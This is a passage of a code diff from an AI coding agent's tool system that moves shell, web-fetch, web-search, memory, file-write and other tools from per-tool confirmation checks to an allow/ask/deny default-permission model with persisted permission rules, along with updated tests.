// Simulate the onConfirm callback with different outcomes
await result.onConfirm(ToolConfirmationOutcome.ProceedOnce);
// eslint-disable-next-line @typescript-eslint/no-explicit-any
const allowlist = (invocation.constructor as any).allowlist;
expect(allowlist.has(`${memoryFilePath}_global`)).toBe(false);
await result.onConfirm(ToolConfirmationOutcome.Cancel);
expect(allowlist.has(`${memoryFilePath}_global`)).toBe(false);
if (result.type === 'edit') {
// onConfirm should be a no-op — just verify it doesn't throw
await expect(
result.onConfirm(ToolConfirmationOutcome.ProceedAlways),
).resolves.toBeUndefined();
await expect(
result.onConfirm(ToolConfirmationOutcome.ProceedOnce),
).resolves.toBeUndefined();
await expect(
result.onConfirm(ToolConfirmationOutcome.Cancel),
).resolves.toBeUndefined();
}
});
@ -503,12 +411,14 @@ describe('MemoryTool', () => {
vi.mocked(fs.readFile).mockResolvedValue(existingContent);
const invocation = memoryTool.build(params);
const result = await invocation.shouldConfirmExecute(mockAbortSignal);
const permission = await invocation.getDefaultPermission();
expect(permission).toBe('ask');
const result = await invocation.getConfirmationDetails(mockAbortSignal);
expect(result).toBeDefined();
expect(result).not.toBe(false);
if (result && result.type === 'edit') {
if (result.type === 'edit') {
const expectedPath = path.join('~', '.qwen', 'QWEN.md');
expect(result.title).toBe(
`Confirm Memory Save: ${expectedPath} (global)`,
@ -524,12 +434,14 @@ describe('MemoryTool', () => {
it('should prompt for scope selection when scope is not specified', async () => {
const params = { fact: 'Test fact' };
const invocation = memoryTool.build(params);
const result = await invocation.shouldConfirmExecute(mockAbortSignal);
const permission = await invocation.getDefaultPermission();
expect(permission).toBe('ask');
const result = await invocation.getConfirmationDetails(mockAbortSignal);
expect(result).toBeDefined();
expect(result).not.toBe(false);
if (result && result.type === 'edit') {
if (result.type === 'edit') {
expect(result.title).toContain('Choose Memory Location');
expect(result.title).toContain('GLOBAL');
expect(result.title).toContain('PROJECT');
@ -546,12 +458,11 @@ describe('MemoryTool', () => {
it('should show correct file paths in scope selection prompt', async () => {
const params = { fact: 'Test fact' };
const invocation = memoryTool.build(params);
const result = await invocation.shouldConfirmExecute(mockAbortSignal);
const result = await invocation.getConfirmationDetails(mockAbortSignal);
expect(result).toBeDefined();
expect(result).not.toBe(false);
if (result && result.type === 'edit') {
if (result.type === 'edit') {
const globalPath = path.join('~', '.qwen', 'QWEN.md');
const projectPath = path.join(process.cwd(), 'QWEN.md');

View file

@ -4,12 +4,17 @@
* SPDX-License-Identifier: Apache-2.0
*/
import type { ToolEditConfirmationDetails, ToolResult } from './tools.js';
import type {
ToolEditConfirmationDetails,
ToolResult,
ToolCallConfirmationDetails,
ToolConfirmationOutcome} from './tools.js';
import type { PermissionDecision } from '../permissions/types.js';
import {
BaseDeclarativeTool,
BaseToolInvocation,
Kind,
ToolConfirmationOutcome,
Kind
} from './tools.js';
import type { FunctionDeclaration } from '@google/genai';
import * as fs from 'node:fs/promises';
@ -207,8 +212,6 @@ class MemoryToolInvocation extends BaseToolInvocation<
SaveMemoryParams,
ToolResult
> {
private static readonly allowlist: Set<string> = new Set();
getDescription(): string {
if (!this.params.scope) {
const globalPath = tildeifyPath(getMemoryFilePath('global'));
@ -220,12 +223,21 @@ class MemoryToolInvocation extends BaseToolInvocation<
return `${tildeifyPath(memoryFilePath)} (${scope})`;
}
override async shouldConfirmExecute(
/**
* Memory save always needs user confirmation.
*/
override async getDefaultPermission(): Promise<PermissionDecision> {
return 'ask';
}
/**
* Constructs the memory save confirmation dialog.
*/
override async getConfirmationDetails(
_abortSignal: AbortSignal,
): Promise<ToolEditConfirmationDetails | false> {
): Promise<ToolCallConfirmationDetails> {
// When scope is not specified, show a choice dialog defaulting to global
if (!this.params.scope) {
// Show preview of what would be added to global by default
const defaultScope = 'global';
const currentContent = await readMemoryFileContent(defaultScope);
const newContent = computeNewContent(currentContent, this.params.fact);
@ -270,14 +282,9 @@ Preview of changes to be made to GLOBAL memory:
return confirmationDetails;
}
// Only check allowlist when scope is specified
// Scope is specified
const scope = this.params.scope;
const memoryFilePath = getMemoryFilePath(scope);
const allowlistKey = `${memoryFilePath}_${scope}`;
if (MemoryToolInvocation.allowlist.has(allowlistKey)) {
return false;
}
// Read current content of the memory file
const currentContent = await readMemoryFileContent(scope);
@ -303,10 +310,8 @@ Preview of changes to be made to GLOBAL memory:
fileDiff,
originalContent: currentContent,
newContent,
onConfirm: async (outcome: ToolConfirmationOutcome) => {
if (outcome === ToolConfirmationOutcome.ProceedAlways) {
MemoryToolInvocation.allowlist.add(allowlistKey);
}
onConfirm: async (_outcome: ToolConfirmationOutcome) => {
// No-op: persistence is handled by coreToolScheduler via PM rules
},
};
return confirmationDetails;

View file

@ -37,7 +37,6 @@ import * as path from 'node:path';
import * as crypto from 'node:crypto';
import * as summarizer from '../utils/summarizer.js';
import { ToolErrorType } from './tool-error.js';
import { ToolConfirmationOutcome } from './tools.js';
import { OUTPUT_UPDATE_INTERVAL_MS } from './shell.js';
import { createMockWorkspaceContext } from '../test-utils/mockWorkspaceContext.js';
@ -941,44 +940,29 @@ describe('ShellTool', () => {
});
});
describe('shouldConfirmExecute', () => {
describe('getDefaultPermission and getConfirmationDetails', () => {
it('should not request confirmation for read-only commands', async () => {
const invocation = shellTool.build({
command: 'ls -la',
is_background: false,
});
const confirmation = await invocation.shouldConfirmExecute(
new AbortController().signal,
);
const permission = await invocation.getDefaultPermission();
expect(confirmation).toBe(false);
expect(permission).toBe('allow');
});
it('should request confirmation for a new command and whitelist it on "Always"', async () => {
it('should request confirmation for a non-read-only command and return details', async () => {
const params = { command: 'npm install', is_background: false };
const invocation = shellTool.build(params);
const confirmation = await invocation.shouldConfirmExecute(
const permission = await invocation.getDefaultPermission();
expect(permission).toBe('ask');
const details = await invocation.getConfirmationDetails(
new AbortController().signal,
);
expect(confirmation).not.toBe(false);
expect(confirmation && confirmation.type).toBe('exec');
// eslint-disable-next-line @typescript-eslint/no-explicit-any
await (confirmation as any).onConfirm(
ToolConfirmationOutcome.ProceedAlways,
);
// Should now be whitelisted
const secondInvocation = shellTool.build({
command: 'npm test',
is_background: false,
});
const secondConfirmation = await secondInvocation.shouldConfirmExecute(
new AbortController().signal,
);
expect(secondConfirmation).toBe(false);
expect(details.type).toBe('exec');
});
it('should throw an error if validation fails', () => {

View file

@ -18,11 +18,12 @@ import type {
ToolCallConfirmationDetails,
ToolExecuteConfirmationDetails,
ToolConfirmationPayload,
} from './tools.js';
ToolConfirmationOutcome} from './tools.js';
import type { PermissionDecision } from '../permissions/types.js';
import {
BaseDeclarativeTool,
BaseToolInvocation,
ToolConfirmationOutcome,
Kind,
} from './tools.js';
import { getErrorMessage } from '../utils/errors.js';
@ -37,11 +38,14 @@ import type { AnsiOutput } from '../utils/terminalSerializer.js';
import { isSubpath } from '../utils/paths.js';
import {
getCommandRoots,
isCommandAllowed,
isCommandNeedsPermission,
stripShellWrapper,
detectCommandSubstitution,
} from '../utils/shell-utils.js';
import { createDebugLogger } from '../utils/debugLogger.js';
import {
isShellCommandReadOnlyAST,
extractCommandRules,
} from '../utils/shellAstParser.js';
const debugLogger = createDebugLogger('SHELL');
@ -63,7 +67,6 @@ export class ShellToolInvocation extends BaseToolInvocation<
constructor(
private readonly config: Config,
params: ShellToolParams,
private readonly allowlist: Set<string>,
) {
super(params);
}
@ -89,36 +92,64 @@ export class ShellToolInvocation extends BaseToolInvocation<
return description;
}
override async shouldConfirmExecute(
_abortSignal: AbortSignal,
): Promise<ToolCallConfirmationDetails | false> {
/**
* AST-based permission check for the shell command.
* - Command substitution 'deny' (security)
* - Read-only commands (via AST analysis) 'allow'
* - All other commands 'ask'
*/
override async getDefaultPermission(): Promise<PermissionDecision> {
const command = stripShellWrapper(this.params.command);
const rootCommands = [...new Set(getCommandRoots(command))];
const commandsToConfirm = rootCommands.filter(
(command) => !this.allowlist.has(command),
);
if (commandsToConfirm.length === 0) {
return false; // already approved and allowlisted
// Security: command substitution ($(), ``, <(), >()) → deny
if (detectCommandSubstitution(command)) {
return 'deny';
}
const permissionCheck = isCommandNeedsPermission(command);
if (!permissionCheck.requiresPermission) {
return false;
// AST-based read-only detection
try {
const isReadOnly = await isShellCommandReadOnlyAST(command);
if (isReadOnly) {
return 'allow';
}
} catch (e) {
debugLogger.warn('AST read-only check failed, falling back to ask:', e);
}
return 'ask';
}
/**
* Constructs confirmation dialog details for a shell command that needs
* user approval.
*/
override async getConfirmationDetails(
_abortSignal: AbortSignal,
): Promise<ToolCallConfirmationDetails> {
const command = stripShellWrapper(this.params.command);
const rootCommands = [...new Set(getCommandRoots(command))];
// Extract minimum-scope permission rules for this command.
let permissionRules: string[] = [];
try {
permissionRules = (await extractCommandRules(command)).map(
(rule) => `Bash(${rule})`,
);
} catch (e) {
debugLogger.warn('Failed to extract command rules:', e);
}
const confirmationDetails: ToolExecuteConfirmationDetails = {
type: 'exec',
title: 'Confirm Shell Command',
command: this.params.command,
rootCommand: commandsToConfirm.join(', '),
rootCommand: rootCommands.join(', '),
permissionRules,
onConfirm: async (
outcome: ToolConfirmationOutcome,
_outcome: ToolConfirmationOutcome,
_payload?: ToolConfirmationPayload,
) => {
if (outcome === ToolConfirmationOutcome.ProceedAlways) {
commandsToConfirm.forEach((command) => this.allowlist.add(command));
}
// No-op: persistence is handled by coreToolScheduler via PM rules
},
};
return confirmationDetails;
@ -529,7 +560,6 @@ export class ShellTool extends BaseDeclarativeTool<
ToolResult
> {
static Name: string = ToolNames.SHELL;
private allowlist: Set<string> = new Set();
constructor(private readonly config: Config) {
super(
@ -574,16 +604,9 @@ export class ShellTool extends BaseDeclarativeTool<
protected override validateToolParamValues(
params: ShellToolParams,
): string | null {
const commandCheck = isCommandAllowed(params.command, this.config);
if (!commandCheck.allowed) {
if (!commandCheck.reason) {
debugLogger.error(
'Unexpected: isCommandAllowed returned false without a reason',
);
return `Command is not allowed: ${params.command}`;
}
return commandCheck.reason;
}
// NOTE: Permission checks (command substitution, read-only detection, PM rules)
// are now handled at L3 (getDefaultPermission) and L4 (PM override) in
// coreToolScheduler. This method only performs pure parameter validation.
if (!params.command.trim()) {
return 'Command cannot be empty.';
}
@ -634,6 +657,6 @@ export class ShellTool extends BaseDeclarativeTool<
protected createInvocation(
params: ShellToolParams,
): ToolInvocation<ShellToolParams, ToolResult> {
return new ShellToolInvocation(this.config, params, this.allowlist);
return new ShellToolInvocation(this.config, params);
}
}

View file

@ -24,7 +24,6 @@ type SkillToolWithProtectedMethods = SkillTool & {
returnDisplay: ToolResultDisplay;
}>;
getDescription: () => string;
shouldConfirmExecute: () => Promise<boolean>;
};
};
@ -393,9 +392,9 @@ describe('SkillTool', () => {
const invocation = (
skillTool as SkillToolWithProtectedMethods
).createInvocation(params);
const shouldConfirm = await invocation.shouldConfirmExecute();
const permission = await invocation.getDefaultPermission();
expect(shouldConfirm).toBe(false);
expect(permission).toBe('allow');
});
it('should provide correct description', () => {

View file

@ -197,11 +197,6 @@ class SkillToolInvocation extends BaseToolInvocation<SkillParams, ToolResult> {
return `Use skill: "${this.params.skill}"`;
}
override async shouldConfirmExecute(): Promise<false> {
// Skill loading is a read-only operation, no confirmation needed
return false;
}
async execute(
_signal?: AbortSignal,
_updateOutput?: (output: ToolResultDisplay) => void,

View file

@ -28,7 +28,6 @@ type TaskToolWithProtectedMethods = TaskTool & {
returnDisplay: ToolResultDisplay;
}>;
getDescription: () => string;
shouldConfirmExecute: () => Promise<boolean>;
};
};
@ -515,9 +514,9 @@ describe('TaskTool', () => {
const invocation = (
taskTool as TaskToolWithProtectedMethods
).createInvocation(params);
const shouldConfirm = await invocation.shouldConfirmExecute();
const permission = await invocation.getDefaultPermission();
expect(shouldConfirm).toBe(false);
expect(permission).toBe('allow');
});
it('should provide correct description', async () => {

View file

@ -413,6 +413,8 @@ class TaskToolInvocation extends BaseToolInvocation<TaskParams, ToolResult> {
ToolConfirmationOutcome.ProceedAlways,
ToolConfirmationOutcome.ProceedAlwaysServer,
ToolConfirmationOutcome.ProceedAlwaysTool,
ToolConfirmationOutcome.ProceedAlwaysProject,
ToolConfirmationOutcome.ProceedAlwaysUser,
]);
if (proceedOutcomes.has(outcome)) {
@ -458,11 +460,6 @@ class TaskToolInvocation extends BaseToolInvocation<TaskParams, ToolResult> {
return `${this.params.subagent_type} subagent: "${this.params.description}"`;
}
override async shouldConfirmExecute(): Promise<false> {
// Task delegation should execute automatically without user confirmation
return false;
}
async execute(
signal?: AbortSignal,
updateOutput?: (output: ToolResultDisplay) => void,

View file

@ -313,13 +313,6 @@ class TodoWriteToolInvocation extends BaseToolInvocation<
return this.operationType === 'create' ? 'Create todos' : 'Update todos';
}
override async shouldConfirmExecute(
_abortSignal: AbortSignal,
): Promise<false> {
// Todo operations should execute automatically without user confirmation
return false;
}
async execute(_signal: AbortSignal): Promise<ToolResult> {
const { todos, modified_by_user, modified_content } = this.params;
const sessionId = this.config.getSessionId();

View file

@ -6,6 +6,7 @@
import { describe, it, expect, vi } from 'vitest';
import type { ToolInvocation, ToolResult } from './tools.js';
import type { PermissionDecision } from '../permissions/types.js';
import { DeclarativeTool, hasCycleInSchema, Kind } from './tools.js';
import { ToolErrorType } from './tool-error.js';
@ -23,8 +24,12 @@ class TestToolInvocation implements ToolInvocation<object, ToolResult> {
return [];
}
shouldConfirmExecute(): Promise<false> {
return Promise.resolve(false);
getDefaultPermission(): Promise<PermissionDecision> {
return Promise.resolve('allow');
}
getConfirmationDetails(): Promise<never> {
throw new Error('Not implemented');
}
execute(): Promise<ToolResult> {

View file

@ -11,6 +11,7 @@ import type { ShellExecutionConfig } from '../services/shellExecutionService.js'
import { SchemaValidator } from '../utils/schemaValidator.js';
import { type SubagentStatsSummary } from '../subagents/subagent-statistics.js';
import type { AnsiOutput } from '../utils/terminalSerializer.js';
import type { PermissionDecision } from '../permissions/types.js';
/**
* Represents a validated and ready-to-execute tool call.
@ -39,12 +40,29 @@ export interface ToolInvocation<
toolLocations(): ToolLocation[];
/**
* Determines if the tool should prompt for confirmation before execution.
* @returns Confirmation details or false if no confirmation is needed.
* Returns the tool's intrinsic permission for this invocation, based solely
* on its own parameters (without consulting PermissionManager).
*
* - `'allow'` inherently safe (e.g., read-only commands, `cat`, `ls`).
* - `'ask'` may have side effects, needs user or PM confirmation.
* - `'deny'` security violation (e.g., command substitution in shell).
*
* The coreToolScheduler uses this as the *default* permission which may be
* overridden by PermissionManager rules at L4.
*/
shouldConfirmExecute(
getDefaultPermission(): Promise<PermissionDecision>;
/**
* Constructs the confirmation dialog details for this invocation.
* Only called when the final permission decision is `'ask'` and the user
* needs to be prompted interactively.
*
* @param abortSignal Signal to cancel the operation.
* @returns The confirmation details for the UI to display.
*/
getConfirmationDetails(
abortSignal: AbortSignal,
): Promise<ToolCallConfirmationDetails | false>;
): Promise<ToolCallConfirmationDetails>;
/**
* Executes the tool with the validated parameters.
@ -75,10 +93,37 @@ export abstract class BaseToolInvocation<
return [];
}
shouldConfirmExecute(
/**
* Default: read-only tools return 'allow'. Override in subclasses for
* tools with side effects.
*/
getDefaultPermission(): Promise<PermissionDecision> {
return Promise.resolve('allow');
}
/**
* Default fallback: returns a generic 'info' confirmation dialog using the
* tool's getDescription(). This ensures that even tools whose
* getDefaultPermission() returns 'allow' can still be prompted when PM
* rules override the decision to 'ask' at L4.
*
* Tools with richer confirmation UIs (Shell, Edit, MCP, etc.) override this.
*/
getConfirmationDetails(
_abortSignal: AbortSignal,
): Promise<ToolCallConfirmationDetails | false> {
return Promise.resolve(false);
): Promise<ToolCallConfirmationDetails> {
const details: ToolInfoConfirmationDetails = {
type: 'info',
title: `Confirm ${this.constructor.name.replace(/Invocation$/, '')}`,
prompt: this.getDescription(),
onConfirm: async (
_outcome: ToolConfirmationOutcome,
_payload?: ToolConfirmationPayload,
) => {
// No-op: persistence is handled by coreToolScheduler via PM rules
},
};
return Promise.resolve(details);
}
abstract execute(
@ -534,6 +579,12 @@ export interface ToolEditConfirmationDetails {
outcome: ToolConfirmationOutcome,
payload?: ToolConfirmationPayload,
) => Promise<void>;
/**
* When true, the UI should not show "Always allow" options (ProceedAlwaysProject/User).
* Set by coreToolScheduler when PM has an explicit 'ask' rule that would override
* any 'allow' rule the user might add.
*/
hideAlwaysAllow?: boolean;
fileName: string;
filePath: string;
fileDiff: string;
@ -549,6 +600,10 @@ export interface ToolConfirmationPayload {
newContent?: string;
// used to provide custom cancellation message when outcome is Cancel
cancelMessage?: string;
// Permission rules to persist when user selects ProceedAlwaysProject/User.
// Populated by the tool's getConfirmationDetails() and read by
// coreToolScheduler.handleConfirmationResponse() for persistence.
permissionRules?: string[];
}
export interface ToolExecuteConfirmationDetails {
@ -558,13 +613,19 @@ export interface ToolExecuteConfirmationDetails {
outcome: ToolConfirmationOutcome,
payload?: ToolConfirmationPayload,
) => Promise<void>;
/** @see ToolEditConfirmationDetails.hideAlwaysAllow */
hideAlwaysAllow?: boolean;
command: string;
rootCommand: string;
/** Permission rules extracted by extractCommandRules(), used for display and persistence. */
permissionRules?: string[];
}
export interface ToolMcpConfirmationDetails {
type: 'mcp';
title: string;
/** @see ToolEditConfirmationDetails.hideAlwaysAllow */
hideAlwaysAllow?: boolean;
serverName: string;
toolName: string;
toolDisplayName: string;
@ -572,14 +633,23 @@ export interface ToolMcpConfirmationDetails {
outcome: ToolConfirmationOutcome,
payload?: ToolConfirmationPayload,
) => Promise<void>;
/** Permission rule for this MCP tool, e.g. 'mcp__server__tool'. */
permissionRules?: string[];
}
export interface ToolInfoConfirmationDetails {
type: 'info';
title: string;
onConfirm: (outcome: ToolConfirmationOutcome) => Promise<void>;
onConfirm: (
outcome: ToolConfirmationOutcome,
payload?: ToolConfirmationPayload,
) => Promise<void>;
/** @see ToolEditConfirmationDetails.hideAlwaysAllow */
hideAlwaysAllow?: boolean;
prompt: string;
urls?: string[];
/** Permission rules for persistence, e.g. 'WebFetch(example.com)'. */
permissionRules?: string[];
}
export type ToolCallConfirmationDetails =
@ -592,8 +662,13 @@ export type ToolCallConfirmationDetails =
export interface ToolPlanConfirmationDetails {
type: 'plan';
title: string;
/** @see ToolEditConfirmationDetails.hideAlwaysAllow */
hideAlwaysAllow?: boolean;
plan: string;
onConfirm: (outcome: ToolConfirmationOutcome) => Promise<void>;
onConfirm: (
outcome: ToolConfirmationOutcome,
payload?: ToolConfirmationPayload,
) => Promise<void>;
}
/**
@ -604,8 +679,14 @@ export interface ToolPlanConfirmationDetails {
export enum ToolConfirmationOutcome {
ProceedOnce = 'proceed_once',
ProceedAlways = 'proceed_always',
/** @deprecated Use ProceedAlwaysProject or ProceedAlwaysUser instead. */
ProceedAlwaysServer = 'proceed_always_server',
/** @deprecated Use ProceedAlwaysProject or ProceedAlwaysUser instead. */
ProceedAlwaysTool = 'proceed_always_tool',
/** Persist the permission rule to the project settings (workspace scope). */
ProceedAlwaysProject = 'proceed_always_project',
/** Persist the permission rule to the user settings (user scope). */
ProceedAlwaysUser = 'proceed_always_user',
ModifyWithEditor = 'modify_with_editor',
Cancel = 'cancel',
}

View file

@ -77,7 +77,7 @@ describe('WebFetchTool', () => {
});
});
describe('shouldConfirmExecute', () => {
describe('getConfirmationDetails', () => {
it('should return confirmation details with the correct prompt and urls', async () => {
const tool = new WebFetchTool(mockConfig);
const params = {
@ -85,7 +85,9 @@ describe('WebFetchTool', () => {
prompt: 'summarize this page',
};
const invocation = tool.build(params);
const confirmationDetails = await invocation.shouldConfirmExecute(
expect(await invocation.getDefaultPermission()).toBe('ask');
const confirmationDetails = await invocation.getConfirmationDetails(
new AbortController().signal,
);
@ -95,6 +97,7 @@ describe('WebFetchTool', () => {
prompt:
'Fetch content from https://example.com and process with: summarize this page',
urls: ['https://example.com'],
permissionRules: ['WebFetch(example.com)'],
onConfirm: expect.any(Function),
});
});
@ -106,7 +109,9 @@ describe('WebFetchTool', () => {
prompt: 'summarize the README',
};
const invocation = tool.build(params);
const confirmationDetails = await invocation.shouldConfirmExecute(
expect(await invocation.getDefaultPermission()).toBe('ask');
const confirmationDetails = await invocation.getConfirmationDetails(
new AbortController().signal,
);
@ -116,11 +121,12 @@ describe('WebFetchTool', () => {
prompt:
'Fetch content from https://github.com/google/gemini-react/blob/main/README.md and process with: summarize the README',
urls: ['https://github.com/google/gemini-react/blob/main/README.md'],
permissionRules: ['WebFetch(github.com)'],
onConfirm: expect.any(Function),
});
});
it('should return false if approval mode is AUTO_EDIT', async () => {
it('should return ask even if approval mode is AUTO_EDIT (approval mode handled by scheduler)', async () => {
const tool = new WebFetchTool({
...mockConfig,
getApprovalMode: () => ApprovalMode.AUTO_EDIT,
@ -130,14 +136,24 @@ describe('WebFetchTool', () => {
prompt: 'summarize this page',
};
const invocation = tool.build(params);
const confirmationDetails = await invocation.shouldConfirmExecute(
expect(await invocation.getDefaultPermission()).toBe('ask');
const confirmationDetails = await invocation.getConfirmationDetails(
new AbortController().signal,
);
expect(confirmationDetails).toBe(false);
expect(confirmationDetails).toEqual({
type: 'info',
title: 'Confirm Web Fetch',
prompt:
'Fetch content from https://example.com and process with: summarize this page',
urls: ['https://example.com'],
permissionRules: ['WebFetch(example.com)'],
onConfirm: expect.any(Function),
});
});
it('should call setApprovalMode when onConfirm is called with ProceedAlways', async () => {
it('should have onConfirm as a no-op (approval mode handled by scheduler)', async () => {
const setApprovalMode = vi.fn();
const testConfig = {
...mockConfig,
@ -149,7 +165,7 @@ describe('WebFetchTool', () => {
prompt: 'summarize this page',
};
const invocation = tool.build(params);
const confirmationDetails = await invocation.shouldConfirmExecute(
const confirmationDetails = await invocation.getConfirmationDetails(
new AbortController().signal,
);
@ -163,7 +179,8 @@ describe('WebFetchTool', () => {
);
}
expect(setApprovalMode).toHaveBeenCalledWith(ApprovalMode.AUTO_EDIT);
// setApprovalMode should NOT be called — onConfirm is a no-op
expect(setApprovalMode).not.toHaveBeenCalled();
});
});
});

View file

@ -7,7 +7,6 @@
import { convert } from 'html-to-text';
import { ProxyAgent, setGlobalDispatcher } from 'undici';
import type { Config } from '../config/config.js';
import { ApprovalMode } from '../config/config.js';
import { fetchWithTimeout, isPrivateIp } from '../utils/fetch.js';
import { getResponseText } from '../utils/partUtils.js';
import { ToolErrorType } from './tool-error.js';
@ -15,12 +14,14 @@ import type {
ToolCallConfirmationDetails,
ToolInvocation,
ToolResult,
} from './tools.js';
ToolConfirmationPayload,
ToolConfirmationOutcome} from './tools.js';
import type { PermissionDecision } from '../permissions/types.js';
import {
BaseDeclarativeTool,
BaseToolInvocation,
Kind,
ToolConfirmationOutcome,
Kind
} from './tools.js';
import { DEFAULT_QWEN_MODEL } from '../config/models.js';
import { ToolNames, ToolDisplayNames } from './tool-names.js';
@ -151,26 +152,40 @@ ${textContent}
return `Fetching content from ${this.params.url} and processing with prompt: "${displayPrompt}"`;
}
override async shouldConfirmExecute(): Promise<
ToolCallConfirmationDetails | false
> {
// Auto-execute in AUTO_EDIT mode and PLAN mode (read-only tool)
if (
this.config.getApprovalMode() === ApprovalMode.AUTO_EDIT ||
this.config.getApprovalMode() === ApprovalMode.PLAN
) {
return false;
/**
* WebFetch is a read-like tool (fetches content) but requires confirmation
* because it makes external network requests.
*/
override async getDefaultPermission(): Promise<PermissionDecision> {
return 'ask';
}
/**
* Constructs the web fetch confirmation details.
*/
override async getConfirmationDetails(
_abortSignal: AbortSignal,
): Promise<ToolCallConfirmationDetails> {
// Extract the domain for the permission rule.
let domain: string;
try {
domain = new URL(this.params.url).hostname;
} catch {
domain = this.params.url;
}
const permissionRules = [`WebFetch(${domain})`];
const confirmationDetails: ToolCallConfirmationDetails = {
type: 'info',
title: `Confirm Web Fetch`,
prompt: `Fetch content from ${this.params.url} and process with: ${this.params.prompt}`,
urls: [this.params.url],
onConfirm: async (outcome: ToolConfirmationOutcome) => {
if (outcome === ToolConfirmationOutcome.ProceedAlways) {
this.config.setApprovalMode(ApprovalMode.AUTO_EDIT);
}
permissionRules,
onConfirm: async (
_outcome: ToolConfirmationOutcome,
_payload?: ToolConfirmationPayload,
) => {
// No-op: persistence is handled by coreToolScheduler via PM rules
},
};
return confirmationDetails;

View file

@ -4,6 +4,8 @@
* SPDX-License-Identifier: Apache-2.0
*/
import type {
ToolConfirmationOutcome} from '../tools.js';
import {
BaseDeclarativeTool,
BaseToolInvocation,
@ -11,12 +13,12 @@ import {
type ToolInvocation,
type ToolCallConfirmationDetails,
type ToolInfoConfirmationDetails,
ToolConfirmationOutcome,
type ToolConfirmationPayload
} from '../tools.js';
import type { PermissionDecision } from '../../permissions/types.js';
import { ToolErrorType } from '../tool-error.js';
import type { Config } from '../../config/config.js';
import { ApprovalMode } from '../../config/config.js';
import { getErrorMessage } from '../../utils/errors.js';
import { createDebugLogger } from '../../utils/debugLogger.js';
import { buildContentWithSources } from './utils.js';
@ -55,25 +57,32 @@ class WebSearchToolInvocation extends BaseToolInvocation<
return ` (Searching the web via ${provider})`;
}
override async shouldConfirmExecute(
/**
* WebSearch requires confirmation for external network requests.
*/
override async getDefaultPermission(): Promise<PermissionDecision> {
return 'ask';
}
/**
* Constructs the web search confirmation details.
*/
override async getConfirmationDetails(
_abortSignal: AbortSignal,
): Promise<ToolCallConfirmationDetails | false> {
// Auto-execute in AUTO_EDIT mode and PLAN mode (read-only tool)
if (
this.config.getApprovalMode() === ApprovalMode.AUTO_EDIT ||
this.config.getApprovalMode() === ApprovalMode.PLAN
) {
return false;
}
): Promise<ToolCallConfirmationDetails> {
// Extract the domain for the permission rule.
const permissionRules = [`WebSearch`];
const confirmationDetails: ToolInfoConfirmationDetails = {
type: 'info',
title: 'Confirm Web Search',
prompt: `Search the web for: "${this.params.query}"`,
onConfirm: async (outcome: ToolConfirmationOutcome) => {
if (outcome === ToolConfirmationOutcome.ProceedAlways) {
this.config.setApprovalMode(ApprovalMode.AUTO_EDIT);
}
permissionRules,
onConfirm: async (
_outcome: ToolConfirmationOutcome,
_payload?: ToolConfirmationPayload,
) => {
// No-op: persistence is handled by coreToolScheduler via PM rules
},
};
return confirmationDetails;

View file

@ -257,10 +257,18 @@ describe('WriteFileTool', () => {
});
});
describe('shouldConfirmExecute', () => {
describe('getConfirmationDetails', () => {
const abortSignal = new AbortController().signal;
it('should return false if _getCorrectedFileContent returns an error', async () => {
it('should always return ask from getDefaultPermission', async () => {
const filePath = path.join(rootDir, 'confirm_permission_file.txt');
const params = { file_path: filePath, content: 'test content' };
const invocation = tool.build(params);
const permission = await invocation.getDefaultPermission();
expect(permission).toBe('ask');
});
it('should throw if _getCorrectedFileContent returns an error', async () => {
const filePath = path.join(rootDir, 'confirm_error_file.txt');
const params = { file_path: filePath, content: 'test content' };
fs.writeFileSync(filePath, 'original', { mode: 0o000 });
@ -271,8 +279,9 @@ describe('WriteFileTool', () => {
);
const invocation = tool.build(params);
const confirmation = await invocation.shouldConfirmExecute(abortSignal);
expect(confirmation).toBe(false);
await expect(
invocation.getConfirmationDetails(abortSignal),
).rejects.toThrow('Error checking existing file');
fs.chmodSync(filePath, 0o600);
});
@ -283,7 +292,7 @@ describe('WriteFileTool', () => {
const params = { file_path: filePath, content: proposedContent };
const invocation = tool.build(params);
const confirmation = (await invocation.shouldConfirmExecute(
const confirmation = (await invocation.getConfirmationDetails(
abortSignal,
)) as ToolEditConfirmationDetails;
@ -310,7 +319,7 @@ describe('WriteFileTool', () => {
const params = { file_path: filePath, content: proposedContent };
const invocation = tool.build(params);
const confirmation = (await invocation.shouldConfirmExecute(
const confirmation = (await invocation.getConfirmationDetails(
abortSignal,
)) as ToolEditConfirmationDetails;
@ -342,7 +351,7 @@ describe('WriteFileTool', () => {
const params = { file_path: filePath, content: 'test' };
const invocation = tool.build(params);
const confirmation = (await invocation.shouldConfirmExecute(
const confirmation = (await invocation.getConfirmationDetails(
abortSignal,
)) as ToolEditConfirmationDetails;
@ -361,7 +370,7 @@ describe('WriteFileTool', () => {
const params = { file_path: filePath, content: 'test' };
const invocation = tool.build(params);
await invocation.shouldConfirmExecute(abortSignal);
await invocation.getConfirmationDetails(abortSignal);
expect(mockIdeClient.openDiff).not.toHaveBeenCalled();
});
@ -372,7 +381,7 @@ describe('WriteFileTool', () => {
const params = { file_path: filePath, content: 'test' };
const invocation = tool.build(params);
await invocation.shouldConfirmExecute(abortSignal);
await invocation.getConfirmationDetails(abortSignal);
expect(mockIdeClient.openDiff).not.toHaveBeenCalled();
});
@ -383,7 +392,7 @@ describe('WriteFileTool', () => {
const invocation = tool.build(params);
// This is the key part: get the confirmation details
const confirmation = (await invocation.shouldConfirmExecute(
const confirmation = (await invocation.getConfirmationDetails(
abortSignal,
)) as ToolEditConfirmationDetails;
@ -411,7 +420,7 @@ describe('WriteFileTool', () => {
});
mockIdeClient.openDiff.mockReturnValue(diffPromise);
const confirmation = (await invocation.shouldConfirmExecute(
const confirmation = (await invocation.getConfirmationDetails(
abortSignal,
)) as ToolEditConfirmationDetails;
@ -469,7 +478,8 @@ describe('WriteFileTool', () => {
const params = { file_path: filePath, content: proposedContent };
const invocation = tool.build(params);
const confirmDetails = await invocation.shouldConfirmExecute(abortSignal);
const confirmDetails =
await invocation.getConfirmationDetails(abortSignal);
if (
typeof confirmDetails === 'object' &&
'onConfirm' in confirmDetails &&
@ -504,7 +514,8 @@ describe('WriteFileTool', () => {
const params = { file_path: filePath, content: proposedContent };
const invocation = tool.build(params);
const confirmDetails = await invocation.shouldConfirmExecute(abortSignal);
const confirmDetails =
await invocation.getConfirmationDetails(abortSignal);
if (
typeof confirmDetails === 'object' &&
'onConfirm' in confirmDetails &&
@ -536,7 +547,8 @@ describe('WriteFileTool', () => {
const params = { file_path: filePath, content };
const invocation = tool.build(params);
// Simulate confirmation if your logic requires it before execute, or remove if not needed for this path
const confirmDetails = await invocation.shouldConfirmExecute(abortSignal);
const confirmDetails =
